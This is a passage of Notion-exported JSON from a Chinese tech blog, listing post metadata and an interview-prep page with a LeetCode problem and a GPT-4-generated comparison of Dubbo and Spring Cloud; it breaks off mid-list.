MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":"","blockMap":{"block":{"63830328-e0f0-477a-b327-bc4ab921f89c":{"value":{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","version":973,"type":"page","content":["987d7530-fe73-4613-8e8f-e99dacb4fbae","2bc93ec4-03c5-46c2-b25e-d9ca68f233e5","0302269d-0e3e-4e6f-a368-e18a3a2ec8e0","fa204a88-cdff-4565-a19c-6fe2d4ef75e7","ddbe6f06-0181-499c-ae06-9410681834fc","33494c72-d0a0-4a3d-bd5d-0a18e50f5f2d","6fb628fc-aa4e-4fc9-b457-065c29334753","0a3aac75-d167-4a04-b401-68fcc7365e79","02df3fbe-5154-41d4-9752-dba0be8ca026","d7d4a0ac-86f1-42b5-a2c8-40ec89538f94","193c077b-6ed4-4cbc-a38e-9b358df2dcef","a9ca73a2-ae58-48dd-9ecb-d209d8f3e935","23abe9db-9241-43c9-ae12-3ab81e157c64","ea928a14-9976-4722-a5fd-9b4855a3b57e","5b8b909d-b557-4e7b-abd6-92915cfab912","2035b447-89c4-41f5-8dd3-d61fc43c2608","5825505c-b937-4885-84b3-87cf82f9ca91","01b775f9-c402-4653-8f07-52996a69d0a0","45913462-0b87-4118-b100-be7cc372a512","58f8202a-ad28-4a87-a983-4f8d39d514da","eb9d3a1f-f248-4a6e-aef1-45d671d6079d","c08ec9c8-1431-424a-a82d-446b6361fb10","e8167967-17d3-4317-9af8-e385a0d021be","cd0231c4-719c-4d6e-bf67-f16a6b670555","9997f489-a924-44f7-b989-d31f7addf6df","409d1819-249e-4544-b27a-b4f4ed746f39","2d0d08ce-bd8f-4f68-aa1b-bf61ea043b97","c80c5bd0-86b6-4bb5-a798-673aa4c939af","4ce569b2-d8c1-4cdc-959a-0680a67994c0","84a376d9-f5e0-492f-8754-845f99b03dcf","707824a3-8aa4-41c6-bd49-9022d6d5d778","4d90b249-0bb4-4096-bfa2-6507b9c8a31e","064c5e1c-dffe-45f4-9117-e43e50c909bd","138fbb54-b075-4d0d-9441-ab4d4e21ffef","aa23ef44-e8a0-47e2-a58a-c1297176bb95","80191352-3b19-4027-8053-320d264d6cfe","8fb1ac88-e13a-45a7-9557-a8580e890c4c","0edfbae9-636a-418a-b4a9-dcb6bd255746","499b2350-1b74-4204-a652-abef0cbf1c83","08b67ec1-f6dc-4d27-8179-01e34cb2ee4d","26f43f56-988b-4c11-8b83-55f7a0683c25","15d43009-caa0-4edd-83d0-6832b7d97cc8","989f2dd1-4c6c-4f1e-8d91-12258b3310aa","ce1cbe34-1f44-4ecb-95a0-f6a0a31b76a8","4924ea3c-f339-4a7c-9173-2eb7c6c3a7bc","5de62780-8f62-4de9-b165-d1ab2e0ee600","48a626ec-52c4-4994-accb-4feab9ce24ad","40ae3b73-8135-4715-85be-efc9ec2ad883","1ac8dbc8-7cbd-4519-8ad3-9c1557e960f5","e19cd5bc-571f-49ab-8fbc-fc08629f8cd5","1d79ce45-1106-4ab6-b13f-642ba2b2c52a","9d88c19c-3906-4462-8d0f-4f91525c6fde","d598224d-949c-4e30-bf97-c68dd43ff061","29b7c7ec-281f-4894-8449-70b098c4d366","70634efc-b1df-4cff-ae45-4569354ae08d","65662554-832e-4ed9-b000-f8018d2a93bf","2f3d7cc0-f08d-4bb0-b512-d95e7138a7a4","bf757fa2-6437-4d95-a797-63b2c01d5e12","a59676c7-c9ac-4ac6-b816-dfd7191aaeae","dcda87f4-bc3e-4b57-8bf6-04734ef2c649","65b73029-ad7d-4163-a67c-7b57247731be","50f34710-f078-4e6f-ae3d-5fbd0a817a91","18c829b6-60a3-46b9-ad60-2e8c1e96a819","0526de23-c671-4489-b1cb-268cbdc9e3bc","b93a19d3-623f-4ea6-85c3-319c527eafea","126cec14-65f5-440c-b9cc-6bf67871dae3","2b62d6b3-7b8b-4449-8d88-23d7a817b66d","be3a7323-5955-4d4b-95e0-c3f72bfb2b09","8f0098c7-7d59-48e1-8413-8d94f0c59329","b44e89e3-8079-41bb-8819-d64ecaa8b544","e6fde3ef-a4dc-495c-a344-1118e4532c98","e255a822-2445-4e80-bb1b-d935dbe47845","65f440df-5d66-406c-b3a0-c96b81e33d36","ab0f6036-0c9e-41eb-a2ec-812398a84be7","22927495-a3b1-4b11-bc6e-232a64df0c01","33187b3c-2107-4353-b805-38485abae444","d2264bd9-bbb6-4a93-b33b-22eaab7beba3","83ca355d-21d6-438f-9566-970bcb6c1ae7","92bc8af6-9bb6-4ac6-923f-260f36061597","385c3bdc-ea5e-4c02-bdbf-cf16e776d52c","053d1f64-ddf6-4c15-9bb9-3ee07c91ac49","6f08c7ba-0b0f-4d25-9216-9c43a7f77bcc","c630da5b-d0c9-4c73-ac22-3df2f41034aa","5d426dfa-6367-47dd-8aa0-c9dbdffe8c6e","bf63f719-0033-487f-bebe-aaaddca1ed7c","3a647354-19d2-4732-a497-4e387262d947","6f316220-c056-4271-9b4e-3106f7d4e88f","44ff0f50-5ad4-4bca-907d-2fefcb0e86aa","9dff64c2-3741-4851-814d-d1c1519fefda","62e2075c-ab42-41bb-99db-9bfc08161e48","42ee6ca8-71aa-461c-b80f-3da8c27b4436","f057295a-e996-4759-8408-9a72d156a9c7","6fb47951-6a64-4574-bb08-eaf19931a643","4f64b71e-c4c4-4e99-85fb-154ff17419af","fb44022a-b688-4772-bf81-ecae9ad72119","1b8d93b5-76b0-4596-b827-c42b6445cc89","6f8825de-b0d2-43f4-b1f6-b588dae2358a","43cf970f-42f2-4ac3-96fe-ce1472582942","2dd009f7-5f2b-4d20-9c1d-a14b63d2f763","d224bd21-57b0-45c8-bb92-54065bec0d4e","e325ba2b-10c4-4412-a6fc-6b4de66aa75e","2cd41ff5-a204-4f57-a87a-456eaa361660","809a6e51-51a5-449e-a534-e5862ff13cc1","8f7194ee-649d-4707-8447-5ac027e4baf8","874019b4-1345-4120-93de-425275ddd16d","a1fc850e-4ab3-4d59-bf00-e2e0b13bcd18","25b324d4-6f5a-4d91-acae-94bc933a62ae","7051ebe5-d874-4c7f-8e25-8784bb685110","8c7c2d9a-33d9-47f5-9ae1-6d9faa7f19de","87fcd96c-2934-4b99-abb8-c8c13df87891","ae3f1259-3d6b-4402-ac70-99b9b9e2064c","bd9c0378-a0d6-4b99-b749-94bb3b7be465","a489b769-3f06-4c63-8914-36558c6b3323","f5b9400e-67f1-4e59-988b-c68f527904a1","2f1cb9fe-5975-4ca6-a49b-6ac3c690aee3","994ca946-2457-49b1-a514-8163a4e98963","e4c4e8b5-0832-4419-b56f-6a5d98dc4b92","34a54259-c912-4e8b-8ae5-38faca4ea68e","e56e6aa1-c6f2-4063-a4fe-f4ac502049bc","6f3d4e9d-db7a-4106-8d59-959ca8afb6cc","b89168de-d942-48bd-a8e0-9443c8083eb7","c0283b95-d9ed-4afb-9d33-213a1ba8de7c","c0478f94-e2b5-4003-b190-2a26bccc83e4","df82e571-9bf7-40e9-adc1-9c2d119592a3","10da8870-dd5f-40e6-8bee-a048642ab34e","97e63c42-f48e-4301-bf7f-c2a29bc2a427","04e79f4a-3ff2-4cd4-874e-049da7999133","e3c38c8c-73f0-4030-b52d-f92bd0b74e14","e4310e1b-9fe3-4ba2-a5a4-fcabd8c3e8a7","8391f8e0-c28a-4e27-be95-5c2d02f5384a","b7b21474-7cae-4bbc-985a-e817143a02db","c30c7587-6292-4d8a-994d-0b631260225e","00fcfcaa-ae9c-4e08-999d-1710bf58f5a4","aede14bc-f845-44ec-94e4-7effcdaaf9ed","28bbc8ed-e2d7-4b87-8504-916aa6ff4e7a","eba70797-ef1c-48b4-b02b-8869bd85b211","f9b561c0-2b14-4824-a3b6-a2c4809eff36","e1eb809b-af82-4723-af64-c532810872ea","1137beea-f2c8-4cd9-8693-44a93692d434","f991032b-b60c-4ae9-8c9b-7d32949d2f7d","13531aff-c0c4-4cc7-8e1c-2eed1676410c","111b754e-7a75-473f-90b5-2db448844e12","5afed718-548d-45de-b28b-a46a9aa2e66b","648222d9-e9c4-4ed7-a08d-3d38f9059916","b0a02fbc-f4c6-46b5-b0c3-9c5a4b36ff14","76fc53b3-c188-4b2c-87ad-e2d6d26bbf3b","2ec16a82-a6f7-43ef-a884-a1e4f41b4da7","babaf346-e95d-4986-aa26-63e8a722e8e3","c3d119bb-2706-4412-aadf-1396bd9d9d61","981f9577-c11c-4f30-9f8c-b04717719062","1ee7c1f6-a405-4acd-8cf1-f3cb95af82aa","181040ac-e8a6-43bd-8319-63f756025176","5b6b1b35-50dd-4458-bbb8-bd0d849e83e2","c91fc763-ebeb-48bc-8860-2d91288bc4b9","af0f8549-1fed-4650-bded-b9bb221c9c4b","48c7d257-f510-443a-86b6-6247dabc5d54","c412884b-7870-45dd-a85e-3712521fecb2","55790aca-34e8-40a7-9d2a-a2c836cc108e","4ebead90-4ba0-4bbd-affa-838d137c0558","8318a2ff-315f-4878-afda-5d039731aa17","b4932eae-48b8-4bc8-9701-619f23c311cb","91224e1c-6b9f-4359-a38f-bc27e4afcf68","3fff129c-1117-4542-b74d-4216082349c1","1e79e7fc-1c9b-4f42-b4de-6200dd902330","2b7c4ded-eb4e-4989-b597-a7f15bfbc1f9","2ebb5714-fe8a-49dd-af34-0f2a183ca813","220f2229-574f-425e-a4d3-53280a83ecd6","702def13-5953-42b1-81ee-6d71058bc9e1","ae12cab0-c367-4874-a2a4-a90e2b449781","8e2d18d1-7da5-4e00-a06d-937e959c1f7f","3fc7d29d-036d-4fc8-a9a2-66dc3062ad2f","d75d5510-534f-4dbd-a03a-f7bfa8140882","5fa79268-046a-46e4-b1a9-445889e59825","8d9c9638-ed06-4d10-ab7e-99bb10cb5e02","3c442da6-7fa9-48ba-9bfd-202d119dcead","8bce32e8-78f8-442e-814c-327c9931cf38","407494ed-c9cf-4338-bc00-15789be41faf","ae0bc6d7-cb6f-464f-a49e-85370dc299f2","2a68b08c-2705-4b2f-9dc1-921f92f77441","01cfff21-e786-4686-be21-7baf28fdb9d9","daac458c-4d09-4bc7-b9dc-a7814d0d766d","3f183d14-7dca-4a22-9ab7-f5e2c82cae19","5d19c63f-c2a4-414a-80f2-db216a5d3fa4","4b26b44c-1854-4809-a711-aba6d7edd59e","456fdfde-bb2d-45da-906f-453d1a0a0408","b8f7f7c7-9b97-4113-bfce-e38edb0a8dbf","5abc3a42-0b85-421e-8275-364e1329278b","bd770ff4-40f3-4731-9e6f-e6ee9fa08fd9","a265558f-d19a-4027-bf58-db597e0821f1","96e98ae1-758a-4edd-990a-20e57dc88d56","559d843e-c38f-457f-9a3a-b013addb5358","da124448-3f64-4e39-930a-3c1bb34e6f93","ffb87317-1efc-4275-a207-98c224873242","5035a8d6-c052-4a61-86b3-97fffda749f5","24290ce7-4674-4d85-8b91-237589163392","5b42e21f-39be-4995-b9ab-932bda846ff4","40d6c976-ad3e-4c16-a7b9-db7c81ed61c5","ba812b10-ec82-4659-95be-64c7c3dd0679","311ac43b-4c0e-4d70-9b5a-de42107126e3","53a0914a-757f-47b8-8ea7-38da041281a1","81e93f64-ceec-4abb-ae75-5cff3959dc5d","b62318d2-b560-4d9d-96d3-e94c6b06cc78","7f4a3fab-c74c-428c-89ba-43137bb10cb7","7146a165-c3c3-4efd-838b-601e8643f55c","1413b7cb-5927-4f20-b160-39771f569d38","ca899d05-efde-4ce6-bdcb-98a0c6d29096","12748c2a-db4e-498f-835d-726826a93f3c","8bace18c-ec1d-40d4-9ee5-e3b380686397","1e324593-62b4-4a0e-a565-2bf69d4dc6f8","4edec3cd-49b4-4126-b098-0609bee2c2e5","6ea42de6-a4de-41e1-a041-7b46c38f0e2d","9e578a30-9fb1-4576-96ee-ae152f298c2b","70dcfb86-db56-4aef-896a-2fbf70b58a9b","4d584daa-14ac-4e9c-85d0-c133fec59503","676bf588-6f39-4f98-80f6-76fa817846a9","5b82e23c-c3a9-49ae-8327-5854869fd29f","9d783fb5-f77e-4fcb-bf77-67e14c1acfbe","be79a372-398f-4ff7-a218-d3970205a93b","834eea56-b6ff-4ad3-a74d-5cee91f0773c","01145d63-bbe5-43f9-a39d-1fc088ff79ed","c52bffb0-8001-4654-b0b3-75d6198b9d7c","4c359f4a-1ecb-408a-bfb1-be69a6db3ded","9aa0ad95-e940-4174-a98d-2b0a667730fa","e2e33cef-5ad5-4ca7-93c4-21cc283a25b9","4ffe24ce-ee7b-43f6-99fc-65df6af3ec63","f6515904-8e88-4d15-9397-f9c17e9cbf73","ffccf9aa-8cc1-4165-97e0-dd089cf8bb8e","685f6334-f314-4b13-93a7-0ab05c990939","775c6317-b272-4ff8-b863-9ba7ddf5c963","f0a53d9e-a460-4527-b030-c16c8cc6f19b","8757d938-7b43-4c38-95e8-c7ec1fc7a2e4","1392cc6d-45ac-48d6-b550-1ce3c2c8c24c","96e8deac-6e4c-449a-86ec-53e7f4bc6c20","8d99ce35-fbaa-45e9-a05a-f0567aba31d8","7f371d94-8eec-47c6-a856-8c062783c6b2","fc0a74bc-a96e-4d6f-971c-b5513c1462ee","0e56365b-5f4e-467a-8c3f-0b3efa1d307e","4069f7aa-52d2-4e1b-bace-27d77e694cf0","ccde5138-86f6-4b49-b355-b91c5873c1bd","bbdfee63-aff2-49c4-9fe9-4fcbd2e095ac","c9344dda-c117-4fb1-9b1a-094e94d4258f","9a7f8507-04ff-40b4-908a-d18bb90a9935","7898d291-822b-4935-a99c-bcab5e9c026c"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1712329957436,"last_edited_time":1712556202365,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"987d7530-fe73-4613-8e8f-e99dacb4fbae":{"value":{"id":"987d7530-fe73-4613-8e8f-e99dacb4fbae","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960849,"last_edited_time":1712329960849,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"2bc93ec4-03c5-46c2-b25e-d9ca68f233e5":{"value":{"id":"2bc93ec4-03c5-46c2-b25e-d9ca68f233e5","type":"callout","properties":{"title":[["以下内容基于GPT-4模型"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"b9c647d4-ce71-49c8-9439-f7c95a69cd13","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712457043814,"last_edited_time":1712457104614,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"b9c647d4-ce71-49c8-9439-f7c95a69cd13"}},"0302269d-0e3e-4e6f-a368-e18a3a2ec8e0":{"value":{"id":"0302269d-0e3e-4e6f-a368-e18a3a2ec8e0","type":"header","properties":{"title":[["问题"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960849,"last_edited_time":1712334509220,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"fa204a88-cdff-4565-a19c-6fe2d4ef75e7":{"value":{"id":"fa204a88-cdff-4565-a19c-6fe2d4ef75e7","type":"sub_header","properties":{"title":[["1.LeetCode199 二叉树右视图"]]},"created_time":1712330131553,"last_edited_time":1712556202365,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ddbe6f06-0181-499c-ae06-9410681834fc":{"value":{"id":"ddbe6f06-0181-499c-ae06-9410681834fc","type":"bookmark","properties":{"link":[["https://leetcode.cn/problems/binary-tree-right-side-view/solutions/213494/er-cha-shu-de-you-shi-tu-by-leetcode-solution/"]],"title":[["199. 二叉树的右视图 - 力扣(LeetCode)"]],"description":[["199. 二叉树的右视图 - 给定一个二叉树的 根节点 root,想象自己站在它的右侧,按照从顶部到底部的顺序,返回从右侧所能看到的节点值。   示例 1: [https://assets.leetcode.com/uploads/2021/02/14/tree.jpg] 输入: [1,2,3,null,5,null,4] 输出: [1,3,4] 示例 2: 输入: [1,null,3] 输出: [1,3] 示例 3: 输入: [] 输出: []   提示: * 二叉树的节点个数的范围是 [0,100] * -100 <= Node.val <= 100"]]},"format":{"bookmark_icon":"https://leetcode.cn/favicon.ico","bookmark_cover":"https://static.leetcode-cn.com/cn-legacy-assets/images/LeetCode_Sharing.png"},"created_time":1712472023153,"last_edited_time":1712472023154,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"33494c72-d0a0-4a3d-bd5d-0a18e50f5f2d":{"value":{"id":"33494c72-d0a0-4a3d-bd5d-0a18e50f5f2d","type":"sub_header","properties":{"title":[["2.Dubbo跟SpringCloud区别"]]},"format":{"copied_from_pointer":{"id":"5e194ac0-9d6f-46f5-9eaf-c0db0f8aae46","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712330131919,"last_edited_time":1712457945732,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"5e194ac0-9d6f-46f5-9eaf-c0db0f8aae46"}},"6fb628fc-aa4e-4fc9-b457-065c29334753":{"value":{"id":"6fb628fc-aa4e-4fc9-b457-065c29334753","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"created_time":1712458634936,"last_edited_time":1712472315803,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"0a3aac75-d167-4a04-b401-68fcc7365e79":{"value":{"id":"0a3aac75-d167-4a04-b401-68fcc7365e79","type":"quote","properties":{"title":[["Dubbo跟SpringCloud区别"]]},"created_time":1712457800462,"last_edited_time":1712458646329,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"02df3fbe-5154-41d4-9752-dba0be8ca026":{"value":{"id":"02df3fbe-5154-41d4-9752-dba0be8ca026","type":"text","properties":{"title":[["Dubbo和SpringCloud都是服务治理框架,它们都提供了服务注册、服务发现、负载均衡、熔断、降级等功能。但是它们的设计理念、使用场景、技术栈等方面有很大的不同。"]]},"created_time":1712457406977,"last_edited_time":1712457406982,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"d7d4a0ac-86f1-42b5-a2c8-40ec89538f94":{"value":{"id":"d7d4a0ac-86f1-42b5-a2c8-40ec89538f94","type":"numbered_list","properties":{"title":[["设计理念方面的不同:"]]},"content":["a4b987d7-5961-4f6f-b710-fc6e9c6feb19","c81d6c27-7656-4fdc-a1f5-3b1d6a0fa18e"],"created_time":1712457406978,"last_edited_time":1712457406982,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"193c077b-6ed4-4cbc-a38e-9b358df2dcef":{"value":{"id":"193c077b-6ed4-4cbc-a38e-9b358df2dcef","type":"numbered_list","properties":{"title":[["技术栈方面的不同:"]]},"content":["8aac3cf9-508d-496c-b8c4-622df6fed3da","44c3d9d4-5756-4d8c-ac2a-279e542f9be9"],"created_time":1712457406978,"last_edited_time":1712457406982,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"a9ca73a2-ae58-48dd-9ecb-d209d8f3e935":{"value":{"id":"a9ca73a2-ae58-48dd-9ecb-d209d8f3e935","type":"numbered_list","properties":{"title":[["社区活跃度方面的不同:"]]},"content":["59ca3f6d-6e20-4ebb-8bde-f02e8ba1e8a2","739665fd-1fb2-4d58-a128-bf47db90eb67"],"created_time":1712457406979,"last_edited_time":1712457406982,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"23abe9db-9241-43c9-ae12-3ab81e157c64":{"value":{"id":"23abe9db-9241-43c9-ae12-3ab81e157c64","type":"numbered_list","properties":{"title":[["使用场景方面的不同:"]]},"content":["1eccb6c9-f147-45a1-974b-fede5f785c2b","d5852595-9b56-47a5-a0e7-caf434129e36"],"created_time":1712457406979,"last_edited_time":1712457406982,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ea928a14-9976-4722-a5fd-9b4855a3b57e":{"value":{"id":"ea928a14-9976-4722-a5fd-9b4855a3b57e","type":"text","properties":{"title":[["总结来说,Dubbo和SpringCloud各有优缺点,选择哪一个取决于项目的具体需求和场景。"]]},"created_time":1712457406979,"last_edited_time":1712457406982,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5b8b909d-b557-4e7b-abd6-92915cfab912":{"value":{"id":"5b8b909d-b557-4e7b-abd6-92915cfab912","type":"divider","format":{"copied_from_pointer":{"id":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712458530091,"last_edited_time":1712458530092,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e"}},"2035b447-89c4-41f5-8dd3-d61fc43c2608":{"value":{"id":"2035b447-89c4-41f5-8dd3-d61fc43c2608","type":"text","created_time":1712457807695,"last_edited_time":1712458533154,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5825505c-b937-4885-84b3-87cf82f9ca91":{"value":{"id":"5825505c-b937-4885-84b3-87cf82f9ca91","type":"quote","properties":{"title":[["dubbo协议比较http协议,Hessian比较jackson"]]},"created_time":1712457762928,"last_edited_time":1712458322814,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"01b775f9-c402-4653-8f07-52996a69d0a0":{"value":{"id":"01b775f9-c402-4653-8f07-52996a69d0a0","type":"numbered_list","properties":{"title":[["Dubbo协议 vs HTTP协议"]]},"content":["fcc662ea-96fe-487d-993b-e6a8902ed1dc","486d38f4-1065-4f5b-8584-ffef4cb1d5d3"],"created_time":1712457713569,"last_edited_time":1712457713573,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"45913462-0b87-4118-b100-be7cc372a512":{"value":{"id":"45913462-0b87-4118-b100-be7cc372a512","type":"numbered_list","properties":{"title":[["Hessian vs 